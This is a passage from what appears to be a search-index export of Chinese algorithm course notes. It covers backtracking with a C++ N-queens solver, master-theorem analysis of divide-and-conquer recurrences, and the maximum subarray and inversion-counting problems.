\\(O(\\log n)\\) Delete \\(O(\\log n)\\) \\(O(\\log n)\\) \\(O(\\log n)\\) \\(O(\\log n)\\) DecreaseKey \\(O(\\log n)\\) \\(O(\\log n)\\) \\(O(\\log n)\\) \\(O(1)\\)"},{"location":"NOTE/ADS/wk5/","title":"Backtracking(\u56de\u6eaf\u7b97\u6cd5)","text":"<p> \u7ea6 226 \u4e2a\u5b57  90 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 2 \u5206\u949f</p> <p>\u56de\u6eaf\u7b97\u6cd5</p> <p>\u56de\u6eaf\u7b97\u6cd5\u662f\u4e00\u79cd\u7b97\u6cd5\u6280\u672f\uff0c\u901a\u8fc7\u9010\u6b65\u5c1d\u8bd5\u90e8\u5206\u89e3\u51b3\u65b9\u6848\u6765\u89e3\u51b3\u95ee\u9898\uff0c\u5982\u679c\u67d0\u4e2a\u90e8\u5206\u89e3\u51b3\u65b9\u6848\u4e0d\u6ee1\u8db3\u95ee\u9898\u7684\u7ea6\u675f\u6761\u4ef6\uff0c\u5c31\u4f1a\u653e\u5f03\u5b83\u3002\u5b83\u4f1a\u63a2\u7d22\u6240\u6709\u53ef\u80fd\u7684\u89e3\u51b3\u65b9\u6848\uff0c\u5e76\u6392\u9664\u90a3\u4e9b\u4e0d\u7b26\u5408\u6761\u4ef6\u7684\u9009\u9879\u3002</p>"},{"location":"NOTE/ADS/wk5/#_1","title":"\u516b\u7687\u540e\u95ee\u9898","text":"<p>\u516b\u7687\u540e\u95ee\u9898</p> <p>\u516b\u7687\u540e\u95ee\u9898\u662f\u4e00\u4e2a\u7ecf\u5178\u7684\u7ec4\u5408\u4f18\u5316\u95ee\u9898\uff0c\u76ee\u6807\u662f\u5728\u4e00\u4e2a 8\u00d78 \u7684\u56fd\u9645\u8c61\u68cb\u68cb\u76d8\u4e0a\u653e\u7f6e 8 \u4e2a\u7687\u540e\uff0c\u4f7f\u5f97\u5b83\u4eec\u5f7c\u6b64\u4e4b\u95f4\u65e0\u6cd5\u653b\u51fb\u3002\u6362\u53e5\u8bdd\u8bf4\uff0c\u4efb\u4f55\u4e24\u4e2a\u7687\u540e\u4e0d\u80fd\u5728\u540c\u4e00\u884c\u3001\u540c\u4e00\u5217\u6216\u540c\u4e00\u5bf9\u89d2\u7ebf\u4e0a\u3002</p> <p>k\u7687\u540e\u95ee\u9898\u662f\u516b\u7687\u540e\u95ee\u9898\u7684\u4e00\u822c\u5316\uff0c\u5373\u5728\u4e00\u4e2a n\u00d7n \u7684\u68cb\u76d8\u4e0a\u653e\u7f6e k \u4e2a\u7687\u540e\uff0c\u4f7f\u5f97\u5b83\u4eec\u5f7c\u6b64\u4e4b\u95f4\u65e0\u6cd5\u653b\u51fb\u3002</p> \u4e2a\u4ebacpp\u4ee3\u7801 <pre><code>#include&lt;iostream&gt;\n#include&lt;vector&gt;\nclass Game\n{\n    public:\n    int Number;\n    std::vector&lt;std::vector&lt;int&gt;&gt; solutions;\n    std::vector&lt;int&gt; Queen_setRow;\n    void init(int N);\n    void find_solution(int row);\n    bool is_safe(int row, int col);\n};\n\n\nvoid Game::init(int N)\n{\n    Number = N;\n    for(int i=0; i&lt;N; i++)\n    {\n        Queen_setRow.push_back(-1);\n    }\n}\nbool Game::is_safe(int row, int col)\n{\n    for(int i=0; i&lt;row; i++)\n    {\n        if(Queen_setRow[i] == col || abs(Queen_setRow[i] - col) == abs(i - row))\n        {\n            return false;\n        }\n    }\n    return true;\n}\n\n\nvoid Game::find_solution(int row)\n{\n    if(row == Number)\n    {\n        solutions.push_back(Queen_setRow);\n    }\n\n    else {\n        for(int col=0; col&lt;Number; col++)\n        {\n            if(is_safe(row, col))\n            {\n                Queen_setRow[row] = col;\n                find_solution(row+1);\n                Queen_setRow[row] = -1;\n            }\n        }\n    }\n}\n\nint main()\n{\n    int N;\n    scanf(\"%d\", &amp;N);\n    Game chess;\n    chess.init(N);\n    chess.find_solution(0);\n\n    if(chess.solutions.size() &lt; 3)\n    {\n        for(int i=0;i&lt;chess.solutions.size();i++)\n        {\n            for(int j=0; j&lt;chess.solutions[i].size(); j++)\n            {\n            printf(\"%d \", chess.solutions[i][j]+1);\n            }\n            printf(\"\\n\");\n        }\n        for(int k=0;k&lt;3-chess.solutions.size();k++)\n        {\n            printf(\"\\n\");\n        }\n    }\n    else{\n        for(int i=0; i&lt;3; i++)\n    {\n        for(int j=0; j&lt;chess.solutions[i].size(); j++)\n        {\n        printf(\"%d \", chess.solutions[i][j]+1);\n        }\n        printf(\"\\n\");\n    }\n    }\n    printf(\"%ld\", chess.solutions.size());\n}\n</code></pre>"},{"location":"NOTE/ADS/wk6/","title":"\u5206\u6cbb\u6cd5","text":"<p> \u7ea6 2143 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 7 \u5206\u949f</p> <p>\u6211\u4eec\u4e3b\u8981\u5173\u5fc3\u5206\u6cbb\u6cd5\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u7684\u5206\u6790\u4ee5\u53ca\u5b83\u7684\u5e94\u7528</p>"},{"location":"NOTE/ADS/wk6/#_2","title":"\u4e3b\u5b9a\u7406","text":"<p>\u901a\u5e38\u800c\u8a00\uff0c\u5206\u6cbb\u6cd5\u9012\u5f52\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u6709\u4ee5\u4e0b\u5f62\u5f0f</p> \\[     T(n) = aT(\\frac{n}{b}) + f(n) \\] <p>\u5176\u4e2d\\(a\\)\u662f\u5b50\u95ee\u9898\u7684\u4e2a\u6570\uff0c\\(b\\)\u662f\u5b50\u95ee\u9898\u7684\u89c4\u6a21\uff0c\\(f(n)\\)\u662f\u5408\u5e76\u7684\u65f6\u95f4\uff1b</p>"},{"location":"NOTE/ADS/wk6/#_3","title":"\u4ee3\u5165\u6cd5","text":"<p>\u4ee3\u5165\u6cd5\u5373\u731c\u60f3\u8bc1\u660e\uff1a</p> <ul> <li>\u731c\u6d4b\u89e3\u7684\u5f62\u5f0f</li> <li>\u4f7f\u7528\u6570\u5b66\u5f52\u7eb3\u6cd5\u6c42\u51fa\u89e3\u4e2d\u7684\u5e38\u6570\uff0c\u5e76\u8bc1\u660e\u662f\u6b63\u786e\u7684</li> </ul> <p>Example</p> <p>\\( T(N) = 2 \\, T\\left(\\left\\lfloor \\frac{N}{2} \\right\\rfloor\\right) + N \\)</p> <p>Guess: \\( T(N) = O(N \\log N) \\)</p> <p>Proof: Assume it is true for all \\( m &lt; N \\), in particular for \\( m = \\left\\lfloor \\frac{N}{2} \\right\\rfloor \\).</p> <p>Then there exists a constant \\( c &gt; 0 \\) so that \\( T\\left(\\left\\lfloor \\frac{N}{2} \\right\\rfloor\\right) \\leqslant c \\left\\lfloor \\frac{N}{2} \\right\\rfloor \\log \\left\\lfloor \\frac{N}{2} \\right\\rfloor \\)</p> <p>Substituting into the recurrence:  </p> \\[\\begin{align*}   T(N) &amp;= 2 \\, T\\left(\\left\\lfloor \\frac{N}{2} \\right\\rfloor\\right) + N \\\\   &amp;\\leqslant 2 \\, c \\left\\lfloor \\frac{N}{2} \\right\\rfloor \\log \\left\\lfloor \\frac{N}{2} \\right\\rfloor + N \\\\   &amp;\\leqslant c \\, N (\\log N - \\log 2) + N \\\\   &amp;\\leqslant c \\, N \\log N \\quad \\text{for } c \\geqslant 1 \\end{align*}\\] <p>\u6ce8\u610f\\(c\\)\u4e00\u5b9a\u8981\u662f\u5e38\u6570\uff0c\u4e0d\u80fd\u4e0e\\(N\\)\u6709\u5173</p> <p>\u53ef\u4ee5\u901a\u8fc7\u8bb0\u4f4f\u4e00\u4e9b\u5e38\u89c1\u7684\u7ed3\u8bba\uff0c\u4f8b\u5982\u5f52\u5e76\u6392\u5e8f\u6765\u7b80\u5316\u8ba1\u7b97</p> <p>Eg</p> \\[     T(n)=2T(\\sqrt{n})+\\log n \\] <p>\u4ee4\\(m=\\log n\\),\u5219\\(n=2^m\\),\u5219</p> \\[     T(2^m)=2T(2^{m/2})+m \\] <p>\u4ee4\\(S(m)=T(2^m)\\),\u5219</p> \\[     S(m)=2S(m/2)+m \\] <p>\u4ee3\u5165\u6cd5\u5f97\u5230\\(S(m)=O(m \\log m)\\),\u6240\u4ee5\\(T(n)=O(\\log n \\log \\log n)\\)</p> \u7b97\u6cd5\u5bfc\u8bba-\u5fae\u5999\u7684\u7ec6\u8282 <p></p>"},{"location":"NOTE/ADS/wk6/#_4","title":"\u9012\u5f52\u6811\u6cd5","text":"<p>\u9012\u5f52\u6811\u6cd5\u662f\u4e00\u79cd\u5206\u6790\u9012\u5f52\u7b97\u6cd5\u590d\u6742\u5ea6\u7684\u5e38\u7528\u65b9\u6cd5\uff0c\u7279\u522b\u9002\u7528\u4e8e\u5206\u6cbb\u7b97\u6cd5\u7684\u590d\u6742\u5ea6\u5206\u6790\uff1b\u901a\u8fc7\u628a\u9012\u5f52\u8fc7\u7a0b\u8868\u793a\u4e3a\u4e00\u68f5\u6811\uff0c\u5206\u6790\u6811\u7684\u6bcf\u4e00\u5c42\u7684\u4ee3\u4ef7\uff0c\u4ece\u800c\u5f97\u51fa\u6574\u4e2a\u7b97\u6cd5\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u3002\u4ee5\u4e0b\u662f\u9012\u5f52\u6811\u6cd5\u7684\u4e3b\u8981\u6b65\u9aa4\uff1a</p> <ul> <li> <p>\u6784\u5efa\u9012\u5f52\u6811\uff1a\u5c06\u9012\u5f52\u516c\u5f0f\u8868\u793a\u4e3a\u4e00\u68f5\u6811\uff0c\u5176\u4e2d\u6bcf\u4e2a\u8282\u70b9\u4ee3\u8868\u9012\u5f52\u4e2d\u7684\u4e00\u6b21\u8ba1\u7b97\u3002\u6839\u8282\u70b9\u8868\u793a\u6700\u521d\u8c03\u7528\u7684\u9012\u5f52\u95ee\u9898\uff0c\u5b50\u8282\u70b9\u8868\u793a\u9012\u5f52\u8c03\u7528\u7684\u5b50\u95ee\u9898\uff0c\u6811\u7684\u6df1\u5ea6\u53cd\u6620\u9012\u5f52\u7684\u5c42\u6570\u3002</p> </li> <li> <p>\u8ba1\u7b97\u6bcf\u4e00\u5c42\u7684\u4ee3\u4ef7\uff1a\u5bf9\u4e8e\u9012\u5f52\u6811\u7684\u6bcf\u4e00\u5c42\uff0c\u8ba1\u7b97\u8be5\u5c42\u6240\u6709\u8282\u70b9\u7684\u4ee3\u4ef7\u4e4b\u548c\u3002\u901a\u5e38\uff0c\u5206\u6cbb\u7b97\u6cd5\u7684\u6bcf\u4e00\u5c42\u7684\u8ba1\u7b97\u91cf\u662f\u76f8\u540c\u7684\uff0c\u6216\u8005\u9075\u5faa\u67d0\u79cd\u89c4\u5f8b\u3002</p> </li> <li> <p>\u6c47\u603b\u6bcf\u5c42\u7684\u4ee3\u4ef7\uff1a\u5c06\u6bcf\u4e00\u5c42\u7684\u4ee3\u4ef7\u76f8\u52a0\uff0c\u5f97\u5230\u6574\u4e2a\u9012\u5f52\u6811\u7684\u603b\u4ee3\u4ef7\u3002</p> </li> <li> <p>\u8ba1\u7b97\u9012\u5f52\u6811\u7684\u9ad8\u5ea6\uff1a\u9012\u5f52\u6811\u7684\u9ad8\u5ea6\u4ee3\u8868\u9012\u5f52\u8c03\u7528\u7684\u6df1\u5ea6\uff0c\u901a\u5e38\u4e0e\u95ee\u9898\u89c4\u6a21 \\(N\\) \u6709\u5173\u3002\u6811\u7684\u9ad8\u5ea6\u53ef\u4ee5\u901a\u8fc7\u9012\u5f52\u516c\u5f0f\u4e2d\u7684\u5206\u5272\u56e0\u5b50\u6765\u786e\u5b9a\u3002</p> </li> <li> <p>\u603b\u7ed3\u603b\u7684\u590d\u6742\u5ea6\uff1a\u6839\u636e\u6bcf\u5c42\u4ee3\u4ef7\u7684\u603b\u548c\u4ee5\u53ca\u9012\u5f52\u6811\u7684\u9ad8\u5ea6\uff0c\u53ef\u4ee5\u5f97\u51fa\u9012\u5f52\u7684\u603b\u65f6\u95f4\u590d\u6742\u5ea6\u3002</p> </li> </ul> <p>Example</p> <p>\u8003\u8651\u7ecf\u5178\u7684\u5206\u6cbb\u7b97\u6cd5\uff0c\u4f8b\u5982\u5408\u5e76\u6392\u5e8f\uff0c\u5176\u9012\u5f52\u516c\u5f0f\u4e3a\uff1a</p> \\[ T(N) = 2T\\left(\\frac{N}{2}\\right) + O(N) \\] <p>\u5e94\u7528\u9012\u5f52\u6811\u6cd5\u7684\u6b65\u9aa4\u5982\u4e0b\uff1a</p> <ol> <li> <p>\u6784\u5efa\u9012\u5f52\u6811\uff1a</p> </li> <li> <p>\u6839\u8282\u70b9\u4e3a\u89c4\u6a21 \\(N\\) \u7684\u95ee\u9898\uff0c\u5206\u89e3\u6210\u4e24\u4e2a\u89c4\u6a21\u4e3a \\(N/2\\) \u7684\u5b50\u95ee\u9898\u3002</p> </li> <li> <p>\u6bcf\u4e2a\u5b50\u95ee\u9898\u8fdb\u4e00\u6b65\u5206\u89e3\uff0c\u76f4\u5230\u5206\u89e3\u5230\u89c4\u6a21\u4e3a 1 \u7684\u95ee\u9898\u3002</p> </li> <li> <p>\u8ba1\u7b97\u6bcf\u4e00\u5c42\u7684\u4ee3\u4ef7\uff1a</p> </li> <li> <p>\u7b2c\u4e00\u5c42\u7684\u4ee3\u4ef7\u662f \\(O(N)\\)\u3002</p> </li> <li>\u7b2c\u4e8c\u5c42\u7684\u4e24\u4e2a\u5b50\u95ee\u9898\u5404\u81ea\u4ee3\u4ef7\u4e3a \\(O(N/2)\\)\uff0c\u603b\u8ba1 \\(O(N)\\)\u3002</li> <li>\u7b2c\u4e09\u5c42\u6709\u56db\u4e2a\u5b50\u95ee\u9898\uff0c\u6bcf\u4e2a\u4ee3\u4ef7 \\(O(N/4)\\)\uff0c\u603b\u8ba1 \\(O(N)\\)\u3002</li> </ol> <p>\u53ef\u4ee5\u770b\u51fa\u6bcf\u4e00\u5c42\u7684\u4ee3\u4ef7\u90fd\u662f \\(O(N)\\)\u3002</p> <ol> <li> <p>\u6c47\u603b\u6bcf\u5c42\u7684\u4ee3\u4ef7\uff1a</p> </li> <li> <p>\u7531\u4e8e\u6bcf\u4e00\u5c42\u7684\u4ee3\u4ef7\u90fd\u662f \\(O(N)\\)\uff0c\u5982\u679c\u9012\u5f52\u6811\u6709 \\( \\log N \\) \u5c42\uff0c\u90a3\u4e48\u603b\u4ee3\u4ef7\u4e3a \\(O(N \\log N)\\)\u3002</p> </li> <li> <p>\u8ba1\u7b97\u9012\u5f52\u6811\u7684\u9ad8\u5ea6\uff1a</p> </li> <li> <p>\u9012\u5f52\u6811\u7684\u9ad8\u5ea6\u4e3a \\( \\log N\\)\uff0c\u56e0\u4e3a\u6bcf\u6b21\u5c06\u95ee\u9898\u89c4\u6a21\u51cf\u534a\uff0c\u76f4\u5230\u89c4\u6a21\u4e3a 1\u3002</p> </li> <li> <p>\u603b\u7ed3\u603b\u7684\u590d\u6742\u5ea6\uff1a</p> </li> <li> <p>\u6839\u636e\u6bcf\u5c42\u4ee3\u4ef7\u7684\u603b\u548c\u4ee5\u53ca\u6811\u7684\u9ad8\u5ea6\uff0c\u5f97\u5230\u603b\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a \\(O(N \\log N)\\)\u3002</p> </li> </ol>"},{"location":"NOTE/ADS/wk6/#_5","title":"\u4e3b\u5b9a\u7406","text":"<p>\u5bf9\u4e8e</p> \\[     T(n) = a T\\left(\\frac{n}{b}\\right) + f(n),a \\geqslant 1,b \\geqslant 1 \\] <p>\u5219</p> <p>Section</p> \u5f62\u5f0f1\u5f62\u5f0f2\u5f62\u5f0f3\u5f62\u5f0f3-pro <ul> <li>\u5982\u679c\\(f(n)=O(n^{\\log_b a-\\epsilon})\\),\u5219\\(T(n)=\\Theta(n^{\\log_b a})\\)</li> <li>\u5982\u679c\\(f(n)=\\Theta(n^{\\log_b a})\\),\u5219\\(T(n)=\\Theta(n^{\\log_b a} \\log n)\\)</li> <li>\u5982\u679c\\(f(n)=\\Omega(n^{\\log_b a+\\epsilon})\\),\u4e14\u5bf9\u4e8e\u67d0\u4e2a\u5e38\u6570\\(c&lt;1\\)\u548c\u6240\u6709\u8db3\u591f\u5927\u7684\\(n\\)\u6709</li> </ul> \\[      a f\\left(\\frac{n}{b}\\right) \\leqslant c f(n) \\] <p>\u5219\\(T(n)=\\Theta(f(n))\\)</p> <p>Warning</p> <p>\u8fd9\u4e09\u79cd\u60c5\u51b5\u5e76\u672a\u8986\u76d6 \\(f(n)\\) \u7684\u6240\u6709\u53ef\u80fd\u6027\u3002\u60c5\u51b5 1 \u548c\u60c5\u51b5 2 \u4e4b\u95f4\u6709\u4e00\u5b9a\u95f4\u9699\uff0c\u60c5\u51b5 2 \u548c\u60c5\u51b5 3 \u4e4b\u95f4\u4e5f\u6709\u4e00\u5b9a\u95f4\u9699\u3002\u5982\u679c\u51fd\u6570 \\(f(n)\\) \u843d\u5728\u8fd9\u4e24\u4e2a\u95f4\u9699\u4e2d\uff0c\u6216\u8005\u60c5\u51b5 3 \u4e2d\u8981\u6c42\u7684\u6b63\u5219\u6761\u4ef6\u4e0d\u6210\u7acb.\u5c31\u4e0d\u80fd\u4f7f\u7528\u4e3b\u65b9\u6cd5\u6765\u6c42\u89e3\u9012\u5f52\u5f0f</p> <p>Key-point</p> <p>\u5b9e\u9645\u4e0a\u4e3b\u5b9a\u7406\u5e76\u4e0d\u9700\u8981\u6b7b\u8bb0\u786c\u80cc\uff0c\u65e0\u8bba\u4ec0\u4e48\u5f62\u5f0f\u7684\u4e3b\u5b9a\u7406\uff0c\u5176\u5b9e\u5173\u952e\u90fd\u5728\u4e8e\u6bd4\u8f83 \\(n^{\\log_b a}\\) \u548c \\(f(n)\\) \u4e4b\u95f4\u7684\u5173\u8054\uff0c\u5982\u679c\u524d\u8005\u5927\uff0c\u5219\u524d\u8005 \u201c\u638c\u63a7\u4e86\u201d \u6574\u4e2a\u65f6\u95f4\u590d\u6742\u5ea6\uff0c\u6240\u4ee5\u65f6\u95f4\u590d\u6742\u5ea6\u5c31\u662f \\(T(n) = aT(n/b)\\) \u5bf9\u5e94\u7684\u590d\u6742\u5ea6\uff0c\u8fd9\u4e5f\u5f88\u7b26\u5408\u76f4\u89c2\uff0c\u56e0\u4e3a\u6b64\u65f6 \\(a\\) \u6bd4\u8f83\u5927\uff0c\u5206\u53c9\u6bd4\u8f83\u591a\uff0c\u6811\u6bd4\u8f83\u5927\uff08\u7ed3\u5408\u524d\u9762\u9012\u5f52\u6811\u7684\u4f8b\u5b50\uff09\uff0c\u6240\u4ee5\u66f4\u5927\u7684\u590d\u6742\u5ea6\u4f1a\u843d\u5728\u53f6\u5b50\u4e0a\uff1b\u53cd\u4e4b\u540e\u8005\u5927\u5219\u6bcf\u4e00\u5c42\u7684\u590d\u6742\u5ea6 \u201c\u638c\u63a7\u4e86\u201d \u6574\u4e2a\u65f6\u95f4\u590d\u6742\u5ea6\uff0c\u6545\u6574\u4f53\u65f6\u95f4\u5c31\u662f \\(f(n)\\) \u7ea7\u522b\u7684\u3002\u8fd9\u4e5f\u5c31\u662f \u201c\u4e3b\u5b9a\u7406\u201d \u8fd9\u4e00\u540d\u5b57\u7684\u542b\u4e49\uff0c\u5341\u5206\u5f62\u8c61\uff0c\u5c31\u662f\u770b\u524d\u540e\u4e24\u534a\u8c01 master \u4e86\u6574\u4f53\u65f6\u95f4\u590d\u6742\u5ea6</p> <ul> <li>\u82e5\u5bf9\u4e8e\u67d0\u4e2a\u5e38\u6570\\(c&gt;1\\),\u6709\\(af(\\frac{n}{b})=cf(n)\\),\u5219\\(T(n)=\\Theta(n^{\\log_b a})\\)</li> <li>\u82e5\\(af(\\frac{n}{b})=f(n)\\),\u5219\\(T(n)=\\Theta(n^{\\log_b a}\\log n)\\)</li> <li>\u82e5\u5bf9\u4e8e\u67d0\u4e2a\u5e38\u6570\\(c&lt;1\\),\u6709\\(af(\\frac{n}{b})=cf(n)\\),\u5219\\(T(n)=\\Theta(f(n))\\)</li> </ul> <p>\u8fd9\u5b9e\u9645\u4e0a\u662f\u5f62\u5f0f1\u7684\u63a8\u8bba\uff0c\u53ef\u4ee5\u76f4\u89c2\u4e0a\u6765\u7406\u89e3\u4e00\u4e0b</p> <ul> <li>\u60c5\u51b51\u8bf4\u660e\u6bcf\u6b21\u5206\u6cbb\u5bf9\u4e8e\\(f(n)\\)\u7684\u5f71\u54cd\u5f88\u5927\uff0c\u5c06\u5b83\u5206\u5f97\u5f88\u5c0f\uff0c\u6240\u4ee5\u590d\u6742\u5ea6\u7531\u524d\u534a\u90e8\u5206\u63a7\u5236</li> <li>\u60c5\u51b52\u8bf4\u660e\u6bcf\u6b21\u5206\u6cbb\u5bf9\u4e8e\\(f(n)\\)\u7684\u5f71\u54cd\u9002\u4e2d\uff0c\u5c06\u5b83\u5206\u5f97\u9002\u4e2d\uff0c\u6240\u4ee5\u590d\u6742\u5ea6\u662f\u5171\u540c\u5f71\u54cd</li> <li>\u60c5\u51b53\u8bf4\u660e\u6bcf\u6b21\u5206\u6cbb\u5bf9\u4e8e\\(f(n)\\)\u7684\u5f71\u54cd\u5f88\u5c0f\uff0c\u5c06\u5b83\u5206\u5f97\u5f88\u5927\uff0c\u6240\u4ee5\u590d\u6742\u5ea6\u7531\u540e\u534a\u90e8\u5206\u63a7\u5236</li> </ul> <p>\u5bf9\u4e8e\u9012\u63a8\u5f0f</p> \\[     T(n)=aT(n/b)+\\Theta(n^k \\log^p n) \\ a \\geqslant 1,b&gt;1,k \\geqslant 0,p \\geqslant 0 \\] <p>\u6709\u5982\u4e0b\u7ed3\u8bba\uff1a</p> <ul> <li>\u82e5 \\(\\log_b a &gt; k\\)\uff0c\u5219 \\(T(n) = \\Theta(n^{\\log_b a})\\)</li> <li>\u82e5 \\(\\log_b a = k\\)\uff0c\u5219 \\(T(n) = \\Theta(n^k \\log^{p+1} n)\\)</li> <li>\u82e5 \\(\\log_b a &lt; k\\)\uff0c\u5219 \\(T(n) = \\Theta(n^k \\log^p n)\\)</li> </ul> <p>\u8fd9\u91cc\u7684\u4e3b\u8981\u53d8\u5316\u662f\u7b2c\u4e8c\u79cd\u60c5\u51b5\uff0c\u5b83\u76f8\u6bd4\u4e8e\u539f\u5148\u7684\u5f62\u5f0f\u66f4\u52a0\u5f3a\u5927\uff0c\u5982\u679c\u6309\u7167\u539f\u6765\u7684\u5f62\u5f0f\u5c31\u662f\\(n^k \\log n\\),\u8fd9\u91cc\u5728\u5bf9\u6570\u7684\u57fa\u7840\u4e0a\u589e\u5f3a\u4e86\uff1b</p> <ul> <li>\u82e5 \\(\\log_b a &gt; k\\)\uff0c\u5219 \\(T(n) = \\Theta(n^{\\log_b a})\\)</li> <li>\u82e5 \\(\\log_b a = k\\)\uff0c\u5219 <ul> <li>\\(p&gt;-1\\),\\(T(n) = \\Theta(n^k \\log^{p+1} n)\\)</li> <li>\\(p=-1\\),\\(T(n) = \\Theta(n^k \\log \\log n)\\)</li> <li>\\(p&lt;-1\\),\\(T(n) = \\Theta(n^k)\\)</li> </ul> </li> <li>\u82e5 \\(\\log_b a &lt; k\\)\uff0c\u5219<ul> <li>\\(p \\geqslant 0\\),\\(T(n) = \\Theta(n^k \\log^p n)\\)</li> <li>\\(p&lt;0\\),\\(T(n) = \\Theta(n^k)\\)</li> </ul> </li> </ul>"},{"location":"NOTE/ADS/wk6/#_6","title":"\u5206\u6cbb\u6cd5\u7684\u5e94\u7528","text":"<p>\u56de\u5fc6\u68a6\u5f00\u59cb\u7684\u5730\u65b9</p>"},{"location":"NOTE/ADS/wk6/#_7","title":"\u6700\u5927\u5b50\u5e8f\u5217\u95ee\u9898","text":"<p>\u6700\u5927\u5b50\u5e8f\u5217\u95ee\u9898\u662f\u4e00\u4e2a\u7ecf\u5178\u7684\u5206\u6cbb\u7b97\u6cd5\u95ee\u9898\uff0c\u5176\u76ee\u6807\u662f\u627e\u5230\u4e00\u4e2a\u5e8f\u5217\u4e2d\u7684\u4e00\u4e2a\u8fde\u7eed\u5b50\u5e8f\u5217\uff0c\u4f7f\u5f97\u8be5\u5b50\u5e8f\u5217\u7684\u548c\u6700\u5927\u3002\u5373\u5bfb\u627e\u5b50\u6570\u7ec4 <code>A[low,high]</code> \u7684\u6700\u5927\u5b50\u5e8f\u5217\u548c\uff0c\u6211\u4eec\u9996\u5148\u627e\u5230\u6570\u7ec4\u4e2d\u592e\u4f4d\u7f6e <code>mid</code>\uff0c\u8fd9\u4e2a\u95ee\u9898\u53ef\u4ee5\u901a\u8fc7\u5206\u6cbb\u7b97\u6cd5\u6765\u89e3\u51b3\uff0c\u5176\u57fa\u672c\u601d\u8def\u662f\u5c06\u95ee\u9898\u5206\u89e3\u6210\u4e09\u4e2a\u5b50\u95ee\u9898,\u5047\u8bbe\u76ee\u6807\u5b50\u5e8f\u5217\u662f\\(A[i,j]\\)\uff1a</p> <ol> <li>\u6700\u5927\u5b50\u5e8f\u5217\u548c\u5b8c\u5168\u5728 <code>A[low,high]</code>\u4e2d\uff0c\u5373 \\(low \\leqslant i \\leqslant j \\leqslant mid\\)\uff1b</li> <li>\u6700\u5927\u5b50\u5e8f\u5217\u548c\u5b8c\u5168\u5728 <code>A[mid+1,high]</code> \u4e2d\uff0c\u5373 \\(mid+1 \\leqslant i \\leqslant j \\leqslant high\\)\uff1b</li> <li> <p>\u6700\u5927\u5b50\u5e8f\u5217\u548c\u8de8\u8d8a <code>mid</code> \u4e24\u8fb9\uff0c\u5373 \\(low \\leqslant i \\leqslant mid &lt; j \\leqslant high\\)\u3002</p> </li> <li> <p>\u5206\u6cbb\uff1a\u5c06\u539f\u6570\u7ec4\u5e73\u5206\u4e3a\u4e24\u534a <code>A[low, mid]</code> \u548c <code>A[mid + 1, high]</code>\uff0c\u7136\u540e\u5206\u522b\u5bf9\u8fd9\u4e24\u534a\u6c42\u89e3\u6700\u5927\u5b50\u5e8f\u5217\u548c\uff1b\u4e00\u5b9a\u4e0d\u80fd\u5fd8\u8bb0\u9012\u5f52\u6709 base case\uff0c\u8fd9\u91cc\u7684 base case \u5c31\u662f\u6570\u7ec4\u53ea\u5269\u4e0b\u4e00\u4e2a\u5143\u7d20\uff0c\u90a3\u5c31\u4ec0\u4e48\u90fd\u4e0d\u7528\u64cd\u4f5c\uff0c\u76f4\u63a5\u8fd4\u56de\u8fdb\u5165\u4e0b\u4e00\u6b65\u5408\u5e76\u9636\u6bb5\uff1b</p> </li> <li> <p>\u5408\u5e76\uff1a\u9996\u5148\u6211\u4eec\u8981\u8ba1\u7b97\u8de8\u8d8a <code>mid</code> \u4e24\u8fb9\u7684\u6700\u5927\u5b50\u5e8f\u5217\u548c\uff0c\u7136\u540e\u548c\u5de6\u53f3\u4e24\u534a\u7684\u7ed3\u679c\u6bd4\u8f83\uff0c\u9009\u62e9\u6700\u5927\u7684\u4f5c\u4e3a\u6700\u7ec8\u7ed3\u679c\u3002\u5173\u952e\u5728\u4e8e\u8ba1\u7b97\u8de8\u8d8a <code>mid</code> \u4e24\u8fb9\u7684\u6700\u5927\u5b50\u5e8f\u5217\u548c\uff0c\u8fd9\u5176\u5b9e\u662f\u7ebf\u6027\u7684\uff0c\u4e3a\u4ec0\u4e48\uff1f\u56e0\u4e3a\u8fd9\u91cc\u7684\u5b50\u5e8f\u5217\u90fd\u5fc5\u987b\u8de8\u8d8a <code>mid</code>\uff0c\u6240\u4ee5\u6700\u5927\u5b50\u5e8f\u5217\u548c\u5c31\u662f\u6700\u5927\u7684 <code>A[i, mid]</code> \u52a0\u4e0a\u6700\u5927\u7684 <code>A[mid + 1, j]</code>\uff0c\u8fd9\u4e2a\u53ea\u9700\u8981\u5bf9 <code>i</code>, <code>j</code> \u505a\u904d\u5386\u5c31\u884c\uff0c\u6240\u4ee5\u662f\u7ebf\u6027\u7684\u3002</p> </li> </ol> <p>\u90a3\u4e48\u6211\u4eec\u5f97\u5230\u7684\u9012\u63a8\u516c\u5f0f\u5c31\u662f\u5f88\u7b80\u5355\u7684 \\(T(n) = 2T(n/2) + O(n)\\)\uff0c\u6240\u4ee5\u5c31\u662f \\(O(n \\log n)\\) \u7684\u590d\u6742\u5ea6\u3002</p> <p>exstra</p> <p>\u5f52\u5e76\u6392\u5e8f\u4e0e\u5feb\u901f\u6392\u5e8f\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u90fd\u662f\\(O(n \\log n)\\)\uff1b \u6ce8\u610f\u5feb\u901f\u6392\u5e8f\u6700\u574f\u662f\\(O(n^2)\\)\uff0c \u4f46\u662f\u5176\u671f\u671b\u65f6\u95f4\u590d\u6742\u5ea6\u662f \\(O(n \\log n)\\)</p>"},{"location":"NOTE/ADS/wk6/#_8","title":"\u9006\u5e8f\u5bf9\u8ba1\u6570","text":"\u9006\u5e8f\u6570 <p>\u9006\u5e8f\u5bf9\u8ba1\u6570\u95ee\u9898\u662f\u8ba1\u7b97\u4e00\u4e2a\u6570\u7ec4\u4e2d\u9006\u5e8f\u5bf9\u7684\u6570\u91cf\u7684\u7ecf\u5178\u7b97\u6cd5\u95ee\u9898\u3002\u5728\u4e00\u4e2a\u6570\u7ec4\u4e2d\uff0c\u9006\u5e8f\u5bf9\u6307\u7684\u662f\u6570\u7ec4\u4e2d\u6ee1\u8db3\u4ee5\u4e0b\u6761\u4ef6\u7684\u4e00\u5bf9\u5143\u7d20 \\((i, j)\\)\uff1a</p> <ul> <li>\u7d22\u5f15\u6761\u4ef6\uff1a\\(i &lt; j\\)</li> <li>\u5927\u5c0f\u5173\u7cfb\uff1a\\(A[i] &gt; A[j]\\)</li> </ul> 